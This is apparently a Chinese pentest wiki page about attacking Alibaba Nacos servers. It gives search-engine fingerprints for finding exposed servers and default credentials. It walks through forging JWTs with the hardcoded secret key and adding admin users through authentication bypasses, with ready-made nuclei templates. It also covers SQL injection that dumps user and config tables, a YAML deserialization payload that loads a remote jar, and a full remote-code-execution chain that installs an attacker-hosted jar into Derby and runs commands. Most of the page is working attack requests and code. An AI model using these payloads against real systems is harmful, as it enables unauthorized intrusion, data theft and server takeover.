跳到主要内容

Nacos

Nacos 是阿里巴巴推出来的一个新开源项目,是一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台。致力于帮助发现、配置和管理微服务。Nacos 提供了一组简单易用的特性集,可以快速实现动态服务发现、服务配置、服务元数据及流量管理。

测绘引擎

fofa:protocol="nacos(http)"app="NACOS"

漏洞列表及指纹表

漏洞指纹
CVE-2021-29441 Nacos权限认证绕过漏洞/nacos/v1/auth/users?pageNo=1&pageSize=1
token.secret.key身份认证绕过漏洞(QVD-2023-6271)/nacos/v1/auth/users?pageNo=1&pageSize=9&search=accurate返回403就可以考虑伪造jwt
Nacos 集群 Raft 反序列化漏洞 CNVD-2023-45001开放7848端口
sql注入derby数据库/nacos/v1/cs/ops/derby?sql=select+*+from+users

未授权&弱口令

Nacos 默认帐户名密码:nacos/nacos,常见端口为8848

可能存在的未授权API

/nacos/v1/auth/users?pageNo=1&pageSize=9  #用户信息
/nacos/v1/core/cluster/nodes?withInstances=false&pageNo=1&pageSize=10&keyword= #集群信息API
/nacos/v1/cs/configs?dataId=&group=&appName=&config_tags=&pageNo=1&pageSize=9&tenant=&search=accurate&accessToken=&username= #配置信息API

配置信息接口在未授权的情况下可能会暴露MySQL、Redis、Druid postgresql mongodb等配置信息,若存在云环境、文件系统,还可能暴露各种key

image-20240328162859856

token.secret.key默认密钥(QVD-2023-6271)

Nacos使用token.secret.key来进行身份认证和加密。在Nacos版本 <= 2.2.0 时,,这个密钥是固定的默认值,导致存在一个安全漏洞。

默认值为:nacos.core.auth.plugin.nacos.token.secret.key=SecretKey012345678901234567890123456789012345678901234567890123456789

利用该默认key可进行jwt构造,直接进入后台,构造方法:

  1. https://tool.lu/timestamp/中获取比当前时间晚的时间戳:

    image-20240328175658335

  2. https://jwt.io/中输入默认key以及用户nacos:

    image-20240328175830007

  3. 登录抓包,加上伪造后的JWT发起请求,得到accessToken等响应包信息,说明伪造成功:

    Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTcxMTcyNDM2NH0.rwjsfx_MeHyDE4ySVkOqpWP3Id4s4MgrjmGma7F6ONw
    POST /nacos/v1/auth/users/login HTTP/1.1
    Host: 54.x.x.40:8848
    Content-Length: 29
    Accept: application/json, text/plain, */*
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
    Content-Type: application/x-www-form-urlencoded
    Origin: http://54.x.x.40:8848
    Referer: http://54.x.x.40:8848/nacos/
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTcxMTcyNDM2NH0.rwjsfx_MeHyDE4ySVkOqpWP3Id4s4MgrjmGma7F6ONw
    Connection: close

    username=nacos&password=nacos

    image-20240328175203192

    复制保存该响应包

  4. 登录抓包,将响应包进行替换为上面伪造请求获得的响应包,即可登录到后台

    image-20240328180640084

    image-20240328180728235

    HTTP/1.1 200 
    Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6OTk5OTk5OTk5OX0.00LxfkpzYpdVeojTfqMhtpPvNidpNcDoLU90MnHzA8Q
    Content-Type: application/json;charset=UTF-8
    Date: Fri, 29 Mar 2024 06:10:47 GMT
    Connection: close
    Content-Length: 180

    {"accessToken":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6OTk5OTk5OTk5OX0.00LxfkpzYpdVeojTfqMhtpPvNidpNcDoLU90MnHzA8Q","tokenTtl":18000,"globalAdmin":true,"username":"nacos"}

    image-20240328180824460

    nuclei

    id: Nacos_JWT_Unauthorized

    info:
    name: Nacos_JWT_Unauthorized
    author: BY
    severity: critical
    tags: Nacos

    requests:
    - raw:
    - |
    GET /nacos/v1/auth/users?pageNo=1&pageSize=9&search=accurate HTTP/1.1
    Host: {{Hostname}}
    User-Agent: Mozilla/5.0
    Accept: */*
    Accept-Encoding: gzip, deflate
    Connection: close
    Upgrade-Insecure-Requests: 1

    matchers-condition: and
    matchers:
    - type: status
    status:
    - 403

    - type: word
    words:
    - "403"
    - "status"
    - "unknown user"
    condition: and

Nacos权限认证绕过漏洞(CVE-2021-29441)

访问http://x.x.x.x/nacos/v1/auth/users?pageNo=1&pageSize=9&accessToken=能够查看用户列表说明漏洞存在

image-20240329140123867

构造payload添加用户

POST /nacos/v1/auth/users HTTP/1.1
Host: x.x.x.x:8848
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Nacos-Server
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 27
Content-Type: application/x-www-form-urlencoded

username=cook&password=cook

image-20240329141154082

UA_Bypass1绕过思路--identity key value硬编码权限绕过(Nacos <= 2.2.0)

当开启 Nacos 权限认证(nacos.core.auth.enabled=true)后,配置文件中存在默认值:

nacos.core.auth.server.identity.key=serverIdentity
nacos.core.auth.server.identity.value=security

该硬编码导致攻击者可以构造携带该 key 和 value 的请求,从而绕过权限认证。

访问/nacos/v1/auth/users?pageNo=1&pageSize=9&search=blur路径,并在请求头中带上serverIdentity: security,若能访问到用户列表则说明漏洞存在,跟上面一样POST请求/nacos/v1/auth/users,加上serverIdentity: security即可

serverIdentity: security之前:

image-20240329142623378

serverIdentity: security之后:

image-20240329142702322

POST /nacos/v1/auth/users HTTP/1.1
Host: x.x.x.x:8848
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Nacos-Server
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
serverIdentity: security
Connection: close
Content-Length: 27
Content-Type: application/x-www-form-urlencoded

username=cook&password=cook

image-20240329142832148

UA_Bypass2绕过思路

添加末尾斜杠绕过:/nacos/v1/auth/users/?pageNo=1&pageSize=9&search=blur

nuclei(包含UA_Bypass1)

id: Nacos_User_Agent_Unauthorized

info:
name: Nacos_User_Agent_Unauthorized
author: BY
severity: critical
tags: Nacos

requests:
- raw:
- |
GET /nacos/v1/auth/users?pageNo=1&pageSize=9&accessToken= HTTP/1.1
Host: {{Hostname}}
User-Agent: Nacos-Server
serverIdentity: security
Content-Length: 16
Accept-Encoding: gzip, deflate
Connection: close

matchers:
- type: word
words:
- "username"
- "password"
- "page"
condition: and

Nacos 集群 Raft 反序列化漏洞(CNVD-2023-45001)

Nacos 在处理某些基于 Jraft 的请求时,采用 Hessian 进行反序列化,但并未设置限制,导致应用存在远程代码执行(RCE)漏洞。

Nacos 1.x 在单机模式下默认不开放 7848 端口,故该情况通常不受此漏洞影响。Nacos 2.x 版本无论单机或集群模式均默认开放 7848 端口。所以开放7848端口的naos服务可以当作该洞的一个特征

1.4.0 <= Nacos < 1.4.6 使用cluster集群模式运行

2.0.0 <= Nacos < 2.2.3 任意模式启动

工具:https://github.com/c0olw/NacosRce/

image-20240329163938953

image-20240329165236156

image-20240329164354730

nuclei

id: nacos-jraft-hessian-rce

info:
name: nacos-jraft-hessian-rce
author: BY
severity: critical
tags: nacos,rce,Hessian,nacos-rce
description: Nacos在处理某些基于Jraft的请求时,采用Hessian进行反序列化,但并未设置限制,导致应用存在远程代码执行(RCE)漏洞
metadata:
fofa-query: "protocol=\"nacos(http)\""
reference: https://mp.weixin.qq.com/s/FUBdfMugEd-5k-CGyLbuJw

tcp:
- inputs:
host:
- "{{Host}}:7848"
matchers:
- type: word
words:
- ""

Nacos-Client Yaml反序列化

Nacos <= 1.4.1

工具:https://github.com/artsploit/yaml-payload/tree/master、https://github.com/charonlight/NacosExploitGUI

#编译jar包
javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .
#将jar包放在vps上

image-20240331174253647

手动触发:

!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://artsploit.com/yaml-payload.jar"]
]]
]

Nacos Sql注入漏洞

Nacos 源码 config server 中有个接口,没有做任何的鉴权,即可执行 sql 语句,可以泄漏全部数据漏洞点在于 module:nacos-config 的 com.alibaba.nacos.config.server.controller.ConfigOpsController 中。代码只限制了需要包含 select,因此,导致可以执行任意的 select 查询语句通过测试,可以用以下的语句查询到所有数据库信息:

select * from users
select * from his_config_info
select * from config_info

path:http://localhost:8848/nacos/v1/cs/ops/derby?sql=select+*+from+users

image-20240401010315833

nuclei

手工验证出现403注意要在请求头加上serverIdentity: security(identity key value硬编码权限绕过)

id: Nacos_SQL

info:
name: Nacos_SQL
author: BY
severity: critical
tags: Nacos

requests:
- raw:
- |
GET /nacos/v1/cs/ops/derby?sql=select+*+from+users HTTP/1.1
Host: {{Hostname}}
User-Agent: Nacos-Server
serverIdentity: security
Content-Length: 16
Accept-Encoding: gzip, deflate
Connection: close

matchers-condition: and
matchers:
- type: status
status:
- 200

- type: word
words:
- "nacos"
- "200"

Nacos远程代码执行漏洞

需要nacos鉴权(或绕过鉴权)

config.py(编写文件配置HTTP服务监听端口)

server_host = '0.0.0.0'
server_port = 5000

service.py(利用脚本启动一个HTTP服务及文件)

app = Flask(__name__)


@app.route('/download')
def download_file():
data = base64.b64decode(payload)
response = Response(data, mimetype="application/octet-stream")
# response.headers["Content-Disposition"] = "attachment; filename=file.bin"
return response

if __name__ == '__main__':
app.run(host=config.server_host, port=config.server_port)
python service.py

image-20240716162223364

payload如下:

从指定URL下载并安装JAR文件到Apache Derby数据库中,创建一个JAVA存储过程函数,该函数可以调用JAR文件中的JVA方法

POST /nacos/v1/cs/ops/data/removal HTTP/1.1
Host: xxxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
serverIdentity: security
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjjJi4GVdy7e4v5ik
Content-Length: 502

------WebKitFormBoundaryjjJi4GVdy7e4v5ik
Content-Disposition: form-data; name="file"; filename="file"

CALL sqlj.install_jar('http://x.x.x.x:xx/download','NACOS.aYACerpd',0)

CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.aYACerpd')

CREATE FUNCTION S_EXAMPLE_aYACerpd( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec'

------WebKitFormBoundaryjjJi4GVdy7e4v5ik--

image-20240716162309210

执行命令

GET /nacos/v1/cs/ops/derby?sql=select+*+from+(select+count(*)+as+b,+S_EXAMPLE_aYACerpd('whoami')+as+a+from+config_info)+tmp+/*ROWS+FETCH+NEXT*/ HTTP/1.1
Host: xxxxxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
serverIdentity: security
Connection: close

image-20240716162350554